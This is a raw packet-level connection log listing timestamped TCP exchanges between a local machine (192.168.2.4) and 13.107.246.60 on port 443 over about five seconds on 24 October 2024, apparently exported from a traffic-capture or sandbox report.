Oct 24, 2024 16:05:18.934187889 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.934223890 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:18.934511900 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:18.934545994 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.587675095 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.588661909 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.588706970 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.589514971 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.589543104 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.672440052 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.673578978 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.673652887 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.674905062 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.674917936 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.681324959 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.681787968 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.681835890 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.682682037 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.682696104 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.687992096 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.688280106 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.688296080 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.689263105 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.689275026 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.809576988 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.809720993 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.809911966 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.810376883 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.810420036 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.810448885 CEST	49784	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.810466051 CEST	443	49784	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.814162016 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.814169884 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.814218998 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.814284086 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.814382076 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.814436913 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.814521074 CEST	49781	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.814548969 CEST	443	49781	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.816833019 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.816854000 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.819246054 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.819298029 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.819351912 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.819642067 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.819670916 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.820543051 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.820970058 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.821108103 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.821414948 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.821414948 CEST	49783	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.821451902 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.821474075 CEST	443	49783	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.824285030 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.824301958 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:19.824477911 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.824917078 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:19.824932098 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.216790915 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.217370987 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.217400074 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.218316078 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.218322992 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.347671032 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.347843885 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.347914934 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.348278046 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.348278046 CEST	49782	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.348319054 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.348345041 CEST	443	49782	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.353209972 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.353291988 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.353424072 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.353549004 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.353585958 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.558007002 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.558103085 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.558159113 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.558595896 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.558597088 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.558653116 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.558676958 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.559056044 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.559072018 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.559250116 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.559262991 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.559418917 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.559434891 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.559766054 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.559777021 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.688951969 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.689111948 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.689233065 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.689325094 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.689326048 CEST	49786	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.689364910 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.689388037 CEST	443	49786	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.689445972 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.689635038 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.689868927 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.690016985 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.690016985 CEST	49787	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.690058947 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.690082073 CEST	443	49787	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.692729950 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.692771912 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.692867041 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.692892075 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.692912102 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.692975044 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.693054914 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.693068981 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.693203926 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.693223953 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.716439009 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.717478991 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.717545986 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.717585087 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.717605114 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.717650890 CEST	49785	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.717664957 CEST	443	49785	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.720012903 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.720026970 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:20.720146894 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.720282078 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:20.720293999 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.113873005 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.137850046 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.137911081 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.138561964 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.138588905 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.269721985 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.269902945 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.270081043 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.270560026 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.270613909 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.270646095 CEST	49788	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.270664930 CEST	443	49788	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.275676966 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.275717974 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.275821924 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.276024103 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.276038885 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.430576086 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.431508064 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.431602001 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.432148933 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.432163954 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.438491106 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.440092087 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.440115929 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.440768003 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.440774918 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.458647013 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.477829933 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.477847099 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.478795052 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.478801966 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.570188046 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.570622921 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.570678949 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.570751905 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.570764065 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.570775032 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.570779085 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.575150967 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.575196028 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.575321913 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.575647116 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.575666904 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.599786043 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.600048065 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.600128889 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.600200891 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.600200891 CEST	49780	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.600231886 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.600256920 CEST	443	49780	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.606837988 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.606874943 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.607060909 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.607404947 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.607419968 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.607609987 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.607673883 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.607743025 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.608004093 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.608011961 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.608028889 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.608032942 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.612289906 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.612303972 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:21.612449884 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.612675905 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:21.612690926 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.032785892 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.033843040 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.033906937 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.034945011 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.034959078 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.176492929 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.176666975 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.176753044 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.176841021 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.176841021 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.176886082 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.176923990 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.179636955 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.179717064 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.179811001 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.179970980 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.179982901 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.318217993 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.318681002 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.318743944 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.319274902 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.319288969 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.399097919 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.399255991 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.399333000 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.399492025 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.399508953 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.399522066 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.399530888 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.402532101 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.402570963 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.402637959 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.402785063 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.402791023 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.486404896 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.486694098 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.486771107 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.504337072 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.511506081 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.511588097 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.511626959 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.511646032 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.514439106 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.514482021 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.516128063 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.516135931 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.520450115 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.520490885 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.520601988 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.520879984 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.520911932 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.669328928 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.669862986 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.669943094 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.670062065 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.670084953 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.670101881 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.670109987 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.675080061 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.675107956 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.675184965 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.675395012 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.675404072 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.774367094 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.775068998 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.775103092 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.775993109 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.776000977 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.951242924 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.951832056 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.951893091 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.952481031 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.952496052 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.975081921 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.975239038 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.975344896 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.975419044 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.975419044 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.975457907 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.975482941 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.978836060 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.978900909 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:22.978992939 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.979167938 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:22.979196072 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.083096027 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.083275080 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.083441973 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.083492994 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.083518982 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.083537102 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.083548069 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.086781025 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.086815119 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.086927891 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.087111950 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.087125063 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.162389994 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.163034916 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.163064957 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.163662910 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.163669109 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.276355028 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.276943922 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.277004957 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.277534962 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.277549028 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.296042919 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.296271086 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.296349049 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.296395063 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.296408892 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.296420097 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.296425104 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.299654007 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.299689054 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.299763918 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.299931049 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.299940109 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.407167912 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.407674074 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.407743931 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.407814980 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.407814980 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.407855988 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.407882929 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.410690069 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.410747051 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.410820007 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.411011934 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.411037922 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.436345100 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.436780930 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.436795950 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.437331915 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:23.437336922 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.571969032 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.572132111 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:23.572283030 CEST	49799	443	192.168.2.4	13.107.246.60
